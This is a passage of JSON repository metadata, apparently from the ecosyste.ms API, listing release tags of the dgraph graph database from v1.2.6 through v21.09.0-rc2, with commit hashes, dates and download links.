:"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.09.0-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.09.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.09.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.09.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.09.0-rc2/manifests"},{"name":"v21.09.0-rc1","sha":"20c9a59118a0e7767365dd109b72df3dee6b5c42","kind":"commit","published_at":"2021-08-31T07:14:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.09.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.09.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.09.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.09.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.09.0-rc1/manifests"},{"name":"v21.03.2","sha":"b17395d33801bf36235de378d8560f61f4457d2b","kind":"commit","published_at":"2021-08-26T08:11:38.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.03.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.03.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.03.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.2/manifests"},{"name":"v21.03.1","sha":"ea1cb5f35650c54419483d6129460b4b25cbb418","kind":"commit","published_at":"2021-06-17T15:08:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.03.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.03.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.03.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.1/manifests"},{"name":"v21.03.0","sha":"a77bbe8ae0d42697a38069a9749cfe71c2dafbe6","kind":"commit","published_at":"2021-04-07T16:06:38.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v21.03.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v21.03.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v21.03.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v21.03.0/manifests"},{"name":"v20.11.3","sha":"8d3eb766cf95cda47bc227605d96c948ecafd5d4","kind":"commit","published_at":"2021-03-31T11:58:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.3/manifests"},{"name":"v20.11.3-rc1","sha":"3ccc521ec9c7a6af7573b3642541623ab170b45f","kind":"commit","published_at":"2021-03-23T13:14:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.3-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.3-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.3-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.3-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.3-rc1/manifests"},{"name":"v20.11.2","sha":"94f3a04304dabba255b1230a56a8239f7e28bc1b","kind":"commit","published_at":"2021-02-23T07:37:17.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.2/manifests"},{"name":"v20.11.2-rc1","sha":"9cd147ed828f9a4009ffffde2fe95b62b18a0756","kind":"commit","published_at":"2021-02-17T15:05:04.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.2-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.2-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.2-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.2-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.2-rc1/manifests"},{"name":"v20.11.1","sha":"7153d13fe5866dfbf4f104cf1f6ef23313c1ea9b","kind":"commit","published_at":"2021-01-28T10:29:35.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.1/manifests"},{"name":"v20.11.1-rc2","sha":"14dca5a38ed4209d4fe1cdc0dbba3509ba9135d2","kind":"commit","published_at":"2021-01-22T15:22:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.1-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.1-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.1-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.1-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.1-rc2/manifests"},{"name":"v20.11.1-rc1","sha":"071b872b2f9045f15a3b5e6a13e958e6a79329a5","kind":"commit","published_at":"2021-01-16T08:59:55.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.1-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.1-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.1-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.1-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.1-rc1/manifests"},{"name":"v20.07.3","sha":"40a7526d6366b39194ed0e638da0648ef3130659","kind":"commit","published_at":"2020-12-29T07:54:26.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.3/manifests"},{"name":"v20.03.7","sha":"b45a5bdabbaf27baf730c09bfe74941c64a00567","kind":"commit","published_at":"2020-12-25T13:24:35.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.7/manifests"},{"name":"v20.11.0","sha":"c4245ad556d38c45974338ee0348fd6a842befbf","kind":"commit","published_at":"2020-12-16T10:25:40.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0/manifests"},{"name":"v20.11.0-rc5","sha":"b65a8b10c1413bbc3a0ac37960f3fb63ed1b9c0e","kind":"commit","published_at":"2020-12-14T13:39:28.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.0-rc5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc5/manifests"},{"name":"v20.11.0-rc4","sha":"88505f6f14e6b6dd471af35da424aacd57356f2f","kind":"commit","published_at":"2020-12-11T14:44:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.0-rc4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc4/manifests"},{"name":"v20.07.3-rc1","sha":"6ca7c522e68264e8d34c0e2fb73d8cbba76d052f","kind":"commit","published_at":"2020-12-10T17:29:23.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.3-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.3-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.3-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.3-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.3-rc1/manifests"},{"name":"v20.03.7-rc1","sha":"24ad34474321184e4c8dc9af22e24856e9f98a55","kind":"commit","published_at":"2020-12-10T17:25:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.7-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.7-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.7-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.7-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.7-rc1/manifests"},{"name":"v20.11.0-rc3","sha":"0d855136948345e01300dc32ce80731eaaa1237c","kind":"commit","published_at":"2020-12-07T17:26:19.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.0-rc3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc3/manifests"},{"name":"v20.11.0-rc2","sha":"e210274ddd694571208e682b8c3ce49c1eccb8bb","kind":"tag","published_at":"2020-11-24T07:25:36.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.0-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc2/manifests"},{"name":"v20.11.0-rc1","sha":"3b9dd3bd2fed8de3c6805ad8b3539552fd4cf4ba","kind":"tag","published_at":"2020-11-11T05:41:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.11.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.11.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.11.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.11.0-rc1/manifests"},{"name":"release/v20.11-rc1","sha":"3b9dd3bd2fed8de3c6805ad8b3539552fd4cf4ba","kind":"tag","published_at":"2020-11-09T06:52:13.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/release/v20.11-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/release/v20.11-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@release%2Fv20.11-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/release%2Fv20.11-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/release%2Fv20.11-rc1/manifests"},{"name":"v1.2.8","sha":"a5c8b249f8bd21a9e2a8501a6a12b94ef2a4dd5a","kind":"commit","published_at":"2020-10-28T04:49:45.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.8","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.8/manifests"},{"name":"v20.07.2","sha":"a7bc16d56fffe1c4f88a9319dd02bc153b9638b7","kind":"commit","published_at":"2020-10-22T17:17:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.2/manifests"},{"name":"v20.03.6","sha":"b842d2e817709f6190b5b7ed17840badd67b47bd","kind":"commit","published_at":"2020-10-22T17:17:46.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.6/manifests"},{"name":"v20.07.2-rc1","sha":"c2d5e66b0a8251abdec0afbadc1bb10fe63499eb","kind":"commit","published_at":"2020-10-08T16:52:31.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.2-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.2-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.2-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.2-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.2-rc1/manifests"},{"name":"v1.2.8-rc1","sha":"833433fc7547531b7ca5429378aa52904d69ce0f","kind":"commit","published_at":"2020-10-08T15:41:06.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.8-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.8-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.8-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.8-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.8-rc1/manifests"},{"name":"v20.03.6-rc1","sha":"a1ce240f7416bcb7a3884d025226cc8a30ea5265","kind":"commit","published_at":"2020-10-07T18:29:02.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.6-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.6-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.6-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.6-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.6-rc1/manifests"},{"name":"v1.2.7","sha":"8a7cffe1f99868c9a1f7674a60354cf66a4e2e56","kind":"commit","published_at":"2020-09-21T20:48:58.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.7/manifests"},{"name":"v20.07.1","sha":"d7123d93ee4444129647eb66db00591aa1a7fdb2","kind":"commit","published_at":"2020-09-17T21:57:43.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.1/manifests"},{"name":"v20.03.5","sha":"ad8d92e596f8fabdfd7163bd61d1aa104bd5e077","kind":"commit","published_at":"2020-09-17T21:28:42.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.5/manifests"},{"name":"v1.2.7-rc1","sha":"271fa66d7527bcf9f4ef7fe3fb167e355b4c2a75","kind":"commit","published_at":"2020-08-19T06:18:29.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.7-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.7-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.7-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.7-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.7-rc1/manifests"},{"name":"v20.03.5-rc1","sha":"fdc484bcd51bafeeeeb75ea81a922607a16b1810","kind":"commit","published_at":"2020-08-18T21:58:49.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.5-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.5-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.5-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.5-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.5-rc1/manifests"},{"name":"v20.07.1-rc1","sha":"8e9ce7d9990669da69b123967af1b56345b13943","kind":"commit","published_at":"2020-08-18T21:58:01.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.1-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.1-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.1-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.1-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.1-rc1/manifests"},{"name":"v20.07-slash-20200810","sha":"4d0b8044bc28aaeb3aac9591dfadb565ce571fb5","kind":"commit","published_at":"2020-08-10T04:37:52.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07-slash-20200810","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07-slash-20200810","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07-slash-20200810","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07-slash-20200810","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07-slash-20200810/manifests"},{"name":"v1.2.6","sha":"6fdbc9ea276369f464a92653fcbff80a330a3aa0","kind":"commit","published_at":"2020-07-31T18:29:36.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.6/manifests"},{"name":"v20.07.0","sha":"d65e20530315710821f277e314e19f3e2eb0f757","kind":"commit","published_at":"2020-07-28T22:31:37.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0/manifests"},{"name":"v1.2.6-rc2","sha":"01de8ce8c010acce353f5fe95d9271e9fb3daf2a","kind":"tag","published_at":"2020-07-27T21:11:55.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.2.6-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.2.6-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.2.6-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.6-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.2.6-rc2/manifests"},{"name":"v20.03.4","sha":"80e6c199e6af823d5fd08eed0801e29dd87044fc","kind":"commit","published_at":"2020-07-23T18:17:00.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.4/manifests"},{"name":"v20.07.0-rc1","sha":"a4449a462ae17cf591b928c0ef666a63bf93f038","kind":"tag","published_at":"2020-07-21T22:35:33.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.0-rc1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0-rc1/manifests"},{"name":"v20.03.4-rc2","sha":"1c2cb6a8544fdb8a112c922310aee1732da0e3c1","kind":"tag","published_at":"2020-07-16T21:12:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.03.4-rc2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.03.4-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.03.4-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.4-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.03.4-rc2/manifests"},{"name":"v20.07.0-beta.Jun22","sha":"9f690dfa76e003a4a42e683196ea94ea6f1bdf27","kind":"tag","published_at":"2020-06-22T23:54:10.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v20.07.0-beta.Jun22","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v20.07.0-beta.Jun22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v20.07.0-beta.Jun22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0-beta.Jun22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v20.07.0-beta.Jun22/manifests"},{"name":"v20.03.4-rc1","sha":"9e303a8db6654a5e154